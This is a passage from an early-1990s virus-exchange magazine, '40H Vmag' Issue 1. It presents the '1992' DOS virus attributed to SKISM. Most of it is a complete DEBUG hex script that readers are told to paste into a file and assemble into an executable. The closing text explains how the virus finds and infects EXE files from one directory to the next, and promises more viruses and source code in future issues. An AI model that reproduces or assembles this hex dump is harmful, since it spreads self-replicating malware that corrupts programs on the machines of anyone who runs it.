- ------------------------------------------------------------------------------
-
- While the virus is no great wonder the simple encryption method is what is
- used by almost all viruses.
-
- HR
- 40H Vmag Issue 1 Volume 1 00005
-
-
- - 1992 VIRUS -
-
-
- Heres another for you virus fiends. Its been labled 1992, the latest in the
- line of viruses brought to you by SKISM.
-
- While the virus is no groundbreaker - the graphic display that is given by
- the virus will go down in history as the first of it's kind.
-
- Copy the below to a file called 1992.USR then execute --
-
- DEBUG < 1992.USR
-
- ------------------------------------------------------------------------------
- n 1992.com
- e 0100 EB 02 90 02 E8 03 00 E9 E7 05 51 BB 38 01 8A 2F
- e 0110 32 2E 03 01 88 2F 43 81 FB 00 09 7E F1 59 C3 BA
- e 0120 00 01 8B 1E E5 06 53 E8 E0 FF 5B B9 C8 07 B4 40
- e 0130 CD 21 53 E8 D4 FF 5B C3 0D 10 1B 00 08 B1 1B 04
- e 0140 C1 18 22 C6 BD 1B 01 B1 1B 15 B1 1B 01 1A 1B 00
- e 0150 C1 18 04 C6 DB 02 B3 B3 14 18 19 B3 10 DF 22 22
- e 0160 08 B1 1B 01 C1 18 0C C6 C0 18 05 C6 C3 C6 BD 22
- e 0170 22 1A 1B 00 B1 1B 06 02 B3 B3 14 18 1D B3 10 DF
- e 0180 22 08 C2 C6 C6 C0 C6 DB 1B 0C B1 1B 0B B1 22 22
- e 0190 1A 1B 00 B1 1B 01 02 B3 B3 14 18 23 B3 10 DF 1B
- e 01A0 00 08 B1 1B 12 B1 1B 0B C2 C6 C6 1A 1B 00 B1 1B
- e 01B0 00 02 B3 B3 14 18 21 B3 10 DF 22 13 1B 06 0B DC
- e 01C0 10 22 13 22 DC 10 22 13 22 DC 10 22 13 22 DC 10
- e 01D0 22 13 1B 06 DC 10 22 13 22 22 DC 10 22 22 13 22
- e 01E0 22 DC 10 22 22 1A 1B 00 08 B1 22 22 02 B3 B3 14
- e 01F0 18 0A B3 0D 18 1A B3 02 10 DF 14 B3 B3 B3 10 DF
- e 0200 13 22 0B DC 02 10 18 06 B3 13 22 0B DC 22 DC 02
- e 0210 10 B3 B3 13 22 0B DC 02 10 B3 13 22 0B DC 02 10
- e 0220 18 06 B3 13 22 0B DC 22 DC 22 DC 22 DC 02 10 B3
- e 0230 22 1A 1B 00 08 B1 22 22 02 B3 B3 14 18 05 B3 0D
- e 0240 18 1B B3 02 10 DF 22 22 14 B3 10 DF 13 1B 06 0B
- e 0250 DC 10 22 13 22 22 DC 02 10 B3 22 22 13 22 0B DC
- e 0260 02 10 B3 13 1B 06 0B DC 10 22 13 22 DC 02 10 B3
- e 0270 13 22 0B DC 02 10 B3 13 22 0B DC 02 10 B3 22 1A
- e 0280 08 C6 C6 C0 DB 22 22 02 B3 B3 14 18 05 B3 0D 18
- e 0290 0E B3 12 1B 05 14 18 01 B3 02 10 DF 1B 00 08 B1
- e 02A0 22 22 02 B3 B3 B3 13 22 0B DC 02 10 B3 13 22 0B
- e 02B0 DC 22 DC 02 10 B3 22 13 22 0B DC 02 10 B3 22 B3
- e 02C0 B3 B3 13 22 0B DC 02 10 B3 13 22 0B DC 02 10 B3
- e 02D0 22 B3 B3 13 22 0B DC 02 10 B3 22 1A 22 22 08 B1
- e 02E0 1B 00 02 B3 B3 14 18 05 B3 0D 18 0E B3 12 DC D9
- e 02F0 D9 02 14 B3 B3 B0 B0 0D 12 D9 14 B3 B3 B3 02 10
- e 0300 DF 1B 01 08 B1 22 13 1B 06 0B DC 02 10 B3 13 22
- e 0310 0B DC 02 10 B3 13 22 0B DC 02 10 B3 13 22 0B DC
- e 0320 02 10 B3 13 1B 06 0B DC 02 10 B3 13 22 0B DC 02
- e 0330 10 B3 1B 00 13 22 0B DC 02 10 B3 22 1A 22 22 08
- e 0340 B1 1B 00 02 B3 B3 14 18 05 B3 0D 18 0E B3 12 DC
- e 0350 D9 D9 02 14 B3 B3 B3 B0 0D 12 D9 14 B3 B3 02 10
- e 0360 DF 1B 06 08 B1 22 22 02 18 07 B3 22 B3 B3 22 B3
- e 0370 B3 22 B3 B3 22 18 07 B3 22 B3 B3 1B 00 B3 B3 B3
- e 0380 22 1A 22 22 08 B1 1B 00 02 B3 B3 14 18 01 B3 0D
- e 0390 B3 B3 B3 02 B3 0D 18 0E B3 12 DC 18 07 D9 14 B3
- e 03A0 B3 02 10 DF 1B 01 08 D8 C6 DB 1B 18 D8 C6 C6 C6
- e 03B0 BD 22 22 1A 22 22 B1 1B 01 02 B3 B3 14 B3 B3 B3
- e 03C0 0D 18 18 B3 02 10 DF 1B 00 08 C1 18 04 C6 C0 18
- e 03D0 16 C6 DB 1B 00 B1 22 22 1A 22 22 C1 18 01 C6 BD
- e 03E0 02 B3 B3 0D 14 18 1F B3 02 10 DF 22 22 08 B1 1B
- e 03F0 07 16 22 0D 14 56 16 6A 67 22 6F 63 6C 22 75 6A
- e 0400 6D 22 60 70 6D 77 65 6A 76 22 7B 6D 77 22 10 22
- e 0410 22 08 B1 22 22 1A 22 22 B1 1B 01 B1 02 B3 B3 0D
- e 0420 14 18 1E B3 02 10 DF 1B 00 08 B1 1B 01 02 B3 B3
- e 0430 16 22 0D 34 30 30 2E 22 51 69 6B 71 6F 22 4D 6C
- e 0440 67 2E 22 41 63 72 76 6B 63 6C 22 10 22 22 08 B1
- e 0450 22 22 1A 22 22 B1 1B 01 B1 02 B3 B3 0D 14 18 10
- e 0460 B3 02 10 DF 0D 14 18 05 B3 02 10 DF 1B 01 08 B1
- e 0470 1B 01 02 B3 B3 16 22 0D 56 70 6B 72 71 2E 22 63
- e 0480 6C 66 22 51 77 60 2F 58 67 70 6D 22 6C 6D 75 22
- e 0490 10 22 22 08 B1 22 22 1A 22 22 B1 1B 01 B1 02 B3
- e 04A0 B3 0D 14 18 10 B3 02 10 DF 1B 01 08 B1 1B 05 B1
- e 04B0 1B 01 02 B3 B3 16 22 0D 71 6A 63 6C 69 71 22 7B
- e 04C0 6D 77 22 63 65 63 6B 6C 2E 22 22 75 6B 76 6A 22
- e 04D0 10 22 22 08 C2 C6 C6 1A 22 22 B1 1B 01 B1 02 B3
- e 04E0 B3 0D 14 18 10 B3 02 10 DF 1B 01 08 C2 C6 C6 BD
- e 04F0 1B 06 C1 C6 BD 22 22 02 B3 B3 16 22 0D 6A 6B 71
- e 0500 22 6E 63 76 67 71 76 2C 2C 2C 1B 08 10 1B 06 1A
- e 0510 22 22 08 C2 C6 C6 C0 C6 C3 02 B3 B3 0D 14 18 11
- e 0520 B3 02 10 DF 1B 07 08 B1 1B 06 B1 22 B1 22 22 02
- e 0530 18 1A B3 1B 04 1A 1B 06 08 B1 22 22 02 B3 B3 0D
- e 0540 14 18 15 B3 02 10 DF 22 22 08 B1 1B 06 B1 22 C2
- e 0550 18 1E C6 BD 1B 01 1A C6 C6 C0 C6 C6 DB 22 22 02
- e 0560 B3 B3 0D 14 18 14 B3 02 10 DF 1B 00 08 C1 C6 C6
- e 0570 C6 C0 C6 DB 1B 07 17 22 0C 51 69 6B 71 6F 22 33
- e 0580 3B 3B 30 22 2F 22 54 6B 70 77 71 18 01 23 22 10
- e 0590 22 08 C1 18 01 C6 1A 22 22 B1 1B 06 02 B3 B3 0D
- e 05A0 14 18 0A B3 02 10 DF 1B 0A 08 D8 18 04 C6 DB 1B
- e 05B0 00 B1 1B 07 02 B3 B3 17 1B 01 0D 45 67 76 22 63
- e 05C0 22 6E 63 76 67 22 72 63 71 71 23 1B 01 10 22 08
- e 05D0 B1 1B 01 1A D8 C6 DB 1B 00 02 B3 B3 0D 11 18 09
- e 05E0 D9 14 D9 D9 12 DF 10 1B 07 08 B1 1B 08 B1 1B 07
- e 05F0 02 18 1A B3 22 22 08 B1 1B 01 1A B1 22 02 B3 B3
- e 0600 0D 11 18 19 D9 02 10 DF 1B 05 08 B1 1B 11 D8 18
- e 0610 09 C6 DB 1B 01 1A 02 B3 B3 0D 12 18 22 D9 DF 10
- e 0620 1B 06 08 B1 1B 11 B1 1B 12 1A 0D 12 18 21 D9 DF
- e 0630 10 1B 01 08 C2 18 11 C6 DB 1B 12 1A 28 02 28 2C
- e 0640 47 5A 47 02 5E 02 01 3D 3D 3D 3D 3D 3D 3D 3D 22
- e 0650 22 22 11 01 02 02 02 28 D3 EF 48 13 68 7B D4 14
- e 0660 02 02 02 02 46 4D 51 02 22 22 22 22 02 02 02 02
- e 0670 02 01 3D 3D 3D 3D 3D 3D 3D 3D 47 5A 47 05 07 02
- e 0680 23 02 28 D3 EF 48 22 2A 00 23 02 00 02 02 02 56
- e 0690 43 50 45 47 50 2C 47 5A 47 02 02 02 95 32 44 04
- e 06A0 73 04 95 32 02 56 47 4F 52 02 02 02 02 02 02 02
- e 06B0 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02
- e 06C0 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02
- e 06D0 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02
- e 06E0 02 02 02 02 02 07 02 2A 00 23 02 22 02 CF 22 02
- e 06F0 02 BA 02 32 CF 23 3E 01 70 29 B6 2E CF 23 8A 14
- e 0700 01 03 B6 28 CF 23 82 F8 1B 7E 06 3E 07 76 01 E9
- e 0710 77 92 BC 3A 03 BA 02 BA 8C C2 BD 02 02 BB 06 07
- e 0720 EA 07 02 E9 FC EB 88 02 E1 59 89 D5 31 C2 FE AE
- e 0730 3E 22 70 07 A9 E0 FA E9 4E 3E 12 71 05 82 E6 F2
- e 0740 08 E2 E9 F3 3E 1A 76 11 71 1B 2E 12 00 C2 00 C2
- e 0750 00 C2 00 C2 82 E6 8D 08 E2 E9 D8 83 C0 A2 02 89
- e 0760 F8 E9 D0 3E 19 70 05 77 CE 82 F6 82 E9 C5 3E 1B
- e 0770 89 DB AE 88 CA B2 22 76 00 AE 49 30 EF 43 F1 A9
- e 0780 89 C9 4B E2 A8 C1 B8 44 04 B6 18 CF 23 B6 1B CF
- e 0790 23 88 D2 FC C0 B6 45 BC A7 04 CF 23 B8 46 04 B6
- e 07A0 39 CF 23 BB 11 02 B8 3E 04 B6 4C CF 23 3F 10 02
- e 07B0 77 01 E9 53 92 B6 4D CF 23 3F 10 02 76 45 B8 66
- e 07C0 04 B6 39 CF 23 B6 2D CF 23 8E 04 9E 04 8B 1C 9C
- e 07D0 04 B8 73 04 B6 18 CF 23 BB 05 02 B8 3C 04 B6 4C
- e 07E0 CF 23 3F 10 02 77 23 B6 4D CF 23 3F 10 02 77 1A
- e 07F0 B8 46 04 B6 39 CF 23 B6 18 8C 1C 9E 04 89 14 9C
- e 0800 04 CF 23 E9 B2 E9 7B 92 B6 2D CF 23 8E 04 A0 04
- e 0810 8B 1C A2 04 B8 8D 04 B9 73 04 89 45 1A A1 EB 04
- e 0820 89 45 14 A1 E5 04 89 45 17 BA 02 41 CF 23 8B 0C
- e 0830 E9 04 BA 03 41 31 CB CF 23 BA 02 3F CF 23 70 21
- e 0840 A1 E7 04 B6 3D 89 1C E7 04 BB 00 02 B8 EF 04 CF
- e 0850 23 B6 3C 89 1C E7 04 CF 23 89 1C EF 04 83 F9 E9
- e 0860 00 77 0D B6 18 8C 1C A0 04 89 14 A2 04 CF 23 EB
- e 0870 77 FD B8 8D 04 BA 00 3F CF 23 A1 E7 04 EA 9D FA
- e 0880 BA 03 55 89 1C E7 04 89 0C E5 04 89 14 EB 04 CF
- e 0890 23 BA 03 41 89 0C E9 04 B8 8D 04 CF 23 B6 39 B8
- e 08A0 46 04 CF 23 B6 39 B8 A7 04 CF 23 BA 02 4E CF 23
- e 08B0 4F 61 43 64 67 67 22 75 70 6D 76 67 22 55 6A 63
- e 08C0 6E 67 23 23 23 23 23 23 1A 1A 1A 1A 1A 1A 1A 1A
-
- rcx
- 7C8
- w
- q
-
- ------------------------------------------------------------------------------
-
- The virus only infects systems running DOS 3.0 and up. It is non-resident
- will only infect disks with more than two directorys. When the virus is
- run it will seek out the first EXE file in the second directory from the
- root. Each run after that will begin infection of files following. The
- virus will jump from directory to directory when executed until it finds
- an uninfected EXE file to nail.
-
- On the last Friday of the month the virus will display a full color, full
- screen message to all.
-
- HR
- 40H Vmag Issue 1 Volume 1 00006
-
- I think this magazine will be monthly, keep looking for it.
-
- Next Issue -
-
- Spotlight on Vienna
- Editoral on virus speed
- Article on Whale and if I can find it Whale source code.
-
- plus
-
- More viruses, more source code and more insight...
-
-
-